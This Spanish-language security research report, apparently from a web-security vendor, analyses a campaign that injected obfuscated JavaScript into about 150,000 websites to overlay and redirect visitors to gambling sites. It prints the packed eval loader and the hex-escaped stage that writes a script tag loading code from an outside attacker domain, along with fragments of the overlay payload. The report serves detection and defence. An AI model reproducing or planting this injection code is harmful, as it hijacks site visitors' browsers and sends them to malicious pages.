En febrero, descubrimos a un actor de amenazas que atacaba más de 35.000 sitios web mediante una inyección maliciosa de secuestro de página completa. Hemos seguido monitoreando las actividades de este actor e identificado nuevas tácticas y técnicas. Han escalado sus operaciones de forma significativa: ahora estimamos que aproximadamente 150.000 sitios web han sido afectados por esta campaña.
¿Qué hay de nuevo en este ataque?
Cambios en la interfaz (UI/UX)
El actor de amenazas ha renovado ligeramente su interfaz, pero sigue utilizando una inyección de iframe para mostrar una superposición a pantalla completa en el navegador del visitante. A continuación se muestra un ejemplo de una de sus páginas inyectadas más recientes:

Aunque los elementos visuales y el diseño pueden variar, el método de inyección subyacente sigue siendo el mismo en su núcleo.

Variaciones sobre el mismo tema
Otra variante de este ataque muestra un comportamiento similar: inyecta scripts e iframes que suplantan sitios de apuestas legítimos como Bet365. En muchos casos, se reutilizan logotipos y elementos de marca oficiales para hacer que el ataque parezca más convincente.

Codificación de entidades HTML en el código inyectado
En el código estático, el JavaScript malicioso se inyecta así:
<script type="text/javascript" charset="utf-8" rel="nofollow" src="/@public/base.js"></script>
Esto es un ejemplo de codificación de entidades HTML, una forma diferente de ofuscar código. Hace que el script inyectado sea menos evidente a primera vista. Decodificar este fragmento a texto plano revela:
<script type="text/javascript" charset="utf-8" rel="nofollow" src="/@public/base.js"></script>

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('o["\\q\\a\\2\\e\\f\\9\\n\\0"]["\\p\\5\\6\\0\\9"](\'\\k\\1\\2\\5\\6\\3\\0 \\0\\j\\3\\9\\i\\7\\0\\9\\t\\0\\4\\8\\h\\u\\h\\1\\2\\5\\6\\3\\0\\7 \\1\\5\\2\\i\\7\\m\\0\\0\\3\\1\\s\\4\\4\\c\\c\\c\\b\\b\\b\\d\\g\\e\\6\\g\\m\\a\\n\\r\\j\\8\\d\\2\\a\\f\\4\\8\\e\\f\\3\\d\\8\\1\\7\\l\\k\\4\\1\\2\\5\\6\\3\\0\\l\');',31,31,'x74|x73|x63|x70|x2f|x72|x69|x22|x6a|x65|x6f|x66|x38|x2e|x75|x6d|x7a|x61|x3d|x79|x3c|x3e|x68|x6e|window|x77|x64|x67|x3a|x78|x76'.split('|'),0,{}))
Puedes decodificar texto con codificación de entidades HTML usando herramientas gratuitas como CyberChef.
Dentro de este ataque, también hay JavaScript que se decodifica a sí mismo para producir:
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"](
'\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x38\x38\x38\x66\x66\x66\x2e\x7a\x75\x69\x7a\x68\x6f\x6e\x67\x79\x6a\x2e\x63\x6f\x6d\x2f\x6a\x75\x6d\x70\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'
);
Que finalmente escribe:
<script type="text/javascript" src="hxxps://888fff.zuizhongyj[.]com/jump.js"></script>
Los atacantes utilizan la ofuscación para ocultar la verdadera naturaleza del script ante análisis rápidos o detecciones menos sofisticadas.
Análisis del payload JavaScript final
A continuación se destacan algunos puntos clave del script final:
Lógica de detección basada en palabras clave El script define un array de palabras clave relacionadas con apuestas, juegos de azar y marcas de casinos tanto en inglés como en chino (p. ej., bet365, WilliamHill, tyc, bwin, 12bet, w88, 宝威, 太阳城).
Luego compara la etiqueta <title> de la página actual con esta lista:
var keyWord = [
{ key: [...], id: 1 },
...
];
b = document.getElementsByTagName("title")[0].innerText;
if (b.match(new RegExp(keyWord[i].key[j], 'ig')) != null) {
a = keyWord[i].id;
c = '?id=';
...
}
Una vez encontrada una coincidencia, el script configura un parámetro ID (?id=) para usarlo en la siguiente etapa de la redirección.
Aplicación de la etiqueta Viewport
El código incluye handleViewportTag();, además de un mutation observer y una llamada a setInterval para insertar repetidamente un viewport adaptado a dispositivos móviles:
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0">
Esto garantiza que la superposición a pantalla completa se muestre correctamente en dispositivos móviles.
Superposición a pantalla completa + inyección de iframe
El script del atacante crea un <div class="lbb"> que cubre toda la pantalla (mediante CSS position: fixed; z-index: 9999; ...) e inyecta un <iframe> a pantalla completa:
var web = 'https://888fff.zuizhongyj.com/' + c + a;
document.write('<iframe src="'+web+'" ... ></iframe>');
Cualquier persona que visite el sitio comprometido verá la página de destino maliciosa de apuestas en lugar del contenido legítimo de la página.
Destinos de redirección
Durante el análisis observamos múltiples URLs de redirección, entre ellas:
hxxps://551007t[.]cc/


hxxps://t399229[.]com/

hxxps://www.wa38di[.]com:7443/other/restrictionIp?name=access-caveat

(Visto anteriormente en otras campañas)
hxxps://W88in[.]com

hxxps://b217102[.]cc/

hxxps://g977115[.]com/

hxxps://lucky298[.]com/
Varios de estos sitios bloquean selectivamente el tráfico de regiones específicas, lo que nos lleva a sospechar que los objetivos principales son usuarios de habla china en China, Hong Kong y Estados Unidos.
Escala del ataque: 150.000 sitios web (y contando)
Aprovechando herramientas de búsqueda públicas (p. ej., PublicWWW), agrupamos todos los sitios web que incluyen el fragmento de script ofuscado. En el momento de nuestro análisis, identificamos más de 150.000 sitios únicos. Puedes ver una consulta en tiempo real de estas infecciones aquí.
Este ataque demuestra cómo los actores de amenazas se adaptan constantemente, ampliando su alcance y añadiendo nuevas capas de ofuscación. Los ataques del lado del cliente como estos están en aumento, con nuevos hallazgos cada día.
Si sospechas que tu sitio podría estar afectado, revisa todos los scripts en busca de codificación de entidades HTML oculta o inyecciones sospechosas de <iframe>. Como siempre, la vigilancia continua y las auditorías periódicas del sitio siguen siendo tu mejor defensa contra ataques como estos.









